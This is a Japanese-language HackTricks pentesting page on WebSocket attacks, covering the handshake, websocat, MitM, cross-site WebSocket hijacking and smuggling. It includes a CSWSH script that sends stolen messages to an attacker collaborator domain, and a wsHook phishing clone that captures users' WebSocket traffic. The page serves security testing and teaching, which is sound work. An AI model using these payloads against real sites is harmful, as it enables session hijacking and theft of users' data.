WebSocket Attacks

Support HackTricks

What are WebSockets

WebSocket接続は、最初のHTTPハンドシェイクを通じて確立され、長期間の接続を目的としており、トランザクションシステムを必要とせずにいつでも双方向のメッセージングを可能にします。これにより、WebSocketは、ライブ金融データストリームなどの低遅延またはサーバー起動の通信を必要とするアプリケーションに特に有利です。

Establishment of WebSocket Connections

WebSocket接続の確立に関する詳細な説明はこちらでアクセスできます。要約すると、WebSocket接続は通常、以下に示すようにクライアント側のJavaScriptを介して開始されます:

var ws = new WebSocket("wss://normal-website.com/ws");

wssプロトコルはTLSで保護されたWebSocket接続を示し、ws保護されていない接続を示します。

接続の確立中に、ブラウザとサーバーの間でHTTPを介してハンドシェイクが行われます。ハンドシェイクプロセスでは、ブラウザがリクエストを送信し、サーバーが応答します。以下の例に示すように:

ブラウザがハンドシェイクリクエストを送信します:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket

サーバーのハンドシェイク応答:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=

接続は確立されると、双方向でメッセージ交換のためにオープンのままになります。

WebSocketハンドシェイクの重要なポイント:

  • ConnectionおよびUpgradeヘッダーはWebSocketハンドシェイクの開始を示します。

  • Sec-WebSocket-Versionヘッダーは、通常13の希望するWebSocketプロトコルバージョンを示します。

  • Base64エンコードされたランダム値がSec-WebSocket-Keyヘッダーに送信され、各ハンドシェイクがユニークであることを保証し、キャッシングプロキシによる問題を防ぎます。この値は認証のためではなく、応答が誤って構成されたサーバーやキャッシュによって生成されていないことを確認するためのものです。

  • サーバーの応答におけるSec-WebSocket-AcceptヘッダーはSec-WebSocket-Keyのハッシュであり、WebSocket接続を開くというサーバーの意図を確認します。

これらの機能は、ハンドシェイクプロセスが安全で信頼性があることを保証し、効率的なリアルタイム通信への道を開きます。

Linuxコンソール

websocatを使用してWebSocketとの生の接続を確立できます。

websocat --insecure wss://10.10.10.10:8000 -v

または、websocatサーバーを作成するには:

websocat -s 0.0.0.0:8000 #Listen in port 8000

MitM websocket connections

もしクライアントが現在のローカルネットワークからHTTP websocketに接続していることがわかった場合、ARP Spoofing Attackを試みて、クライアントとサーバーの間でMitM攻撃を実行することができます。 クライアントが接続しようとしているときに、次のように使用できます:

websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v

Websockets enumeration

ツール https://github.com/PalindromeLabs/STEWS を使用して、Websocketの既知の 脆弱性 を自動的に発見、フィンガープリンティング、検索できます。

Websocket Debug tools

  • Burp Suite は、通常のHTTP通信と非常に似た方法でMitM Websocket通信をサポートしています。

  • socketsleuth Burp Suite拡張機能 は、履歴を取得し、インターセプションルールを設定し、マッチと置換ルールを使用し、IntruderAutoRepeaterを使用することで、BurpでのWebsocket通信をより良く管理できるようにします。

  • WSSiP: "WebSocket/Socket.io Proxy"の略で、このNode.jsで書かれたツールは、クライアントとサーバー間のすべてのWebSocketおよびSocket.IO通信をキャプチャ、インターセプト、カスタムメッセージを送信し、表示するためのユーザーインターフェースを提供します。

  • wsrepl は、ペネトレーションテスト専用に設計されたインタラクティブWebsocket REPLです。受信Websocketメッセージを観察し、新しいメッセージを送信するためのインターフェースを提供し、この通信を自動化するための使いやすいフレームワークを備えています。

  • https://websocketking.com/ は、websocketsを使用して他のウェブと通信するためのウェブです。

  • https://hoppscotch.io/realtime/websocket は、他の通信/プロトコルの種類の中で、websocketsを使用して他のウェブと通信するためのウェブを提供します。

Websocket Lab

Burp-Suite-Extender-Montoya-Course には、Websocketsを使用してウェブを起動するためのコードがあり、この投稿 で説明を見つけることができます。

Cross-site WebSocket hijacking (CSWSH)

クロスサイトWebSocketハイジャック、またはクロスオリジンWebSocketハイジャックは、WebSocketハンドシェイクに影響を与える特定のケースとして**クロスサイトリクエストフォージェリ(CSRF)として特定されます。この脆弱性は、WebSocketハンドシェイクがCSRFトークンや同様のセキュリティ対策なしにHTTPクッキー**のみで認証されるときに発生します。

攻撃者は、脆弱なアプリケーションに対してクロスサイトWebSocket接続を開始する悪意のあるウェブページをホストすることでこれを悪用できます。その結果、この接続はアプリケーションとの被害者のセッションの一部として扱われ、セッション処理メカニズムにおけるCSRF保護の欠如を利用します。

Simple Attack

websocket接続を確立する際に、クッキーサーバー送信されることに注意してください。サーバーは、送信されたクッキーに基づいて各特定の ユーザーをそのwebsocket セッション関連付けるためにそれを使用している可能性があります。

次に、例えばwebsocket サーバーがユーザーの会話の履歴を返す場合、"READY"というメッセージが送信されると、単純なXSSが接続を確立し(クッキーは被害者ユーザーを認証するために自動的に送信されます)、"READY"を送信することで会話の履歴取得できるようになります。

<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>

クロスオリジン + 異なるサブドメインのクッキー

このブログ投稿 https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/ では、攻撃者が サブドメイン任意のJavascriptを実行 することに成功しました。これは サブドメイン であったため、クッキー送信 され、WebsocketがOriginを適切にチェックしなかった ため、通信が可能になり、トークンを盗む ことができました。

ユーザーからデータを盗む

なりすましたいウェブアプリケーションをコピーします(例えば .html ファイル)そして、ウェブソケット通信が行われているスクリプト内にこのコードを追加します:

//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>

//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}

今、wsHook.jsファイルをhttps://github.com/skepticfx/wshookからダウンロードし、ウェブファイルのフォルダー内に保存してください。 ウェブアプリケーションを公開し、ユーザーがそれに接続することで、websocketを介して送信および受信されたメッセージを盗むことができます:

sudo python3 -m http.server 80

レースコンディション

WebSocketにおけるレースコンディションも存在します。この情報を確認して、詳細を学んでください

その他の脆弱性

WebSocketはサーバー側とクライアント側にデータを送信するメカニズムであり、サーバーとクライアントが情報をどのように処理するかによって、WebSocketはXSS、SQLi、またはWebの一般的な脆弱性を利用するために、WebSocketからのユーザーの入力を使用して、他のいくつかの脆弱性を悪用するために使用される可能性があります。

WebSocketスモグリング

この脆弱性により、逆プロキシの制限を回避することができ、WebSocket通信が確立されたと信じ込ませることができます(たとえそれが真実でなくても)。これにより、攻撃者は隠されたエンドポイントにアクセスすることができる可能性があります。詳細については、以下のページを確認してください:

Upgrade Header Smuggling

参考文献

HackTricksをサポートする

Last updated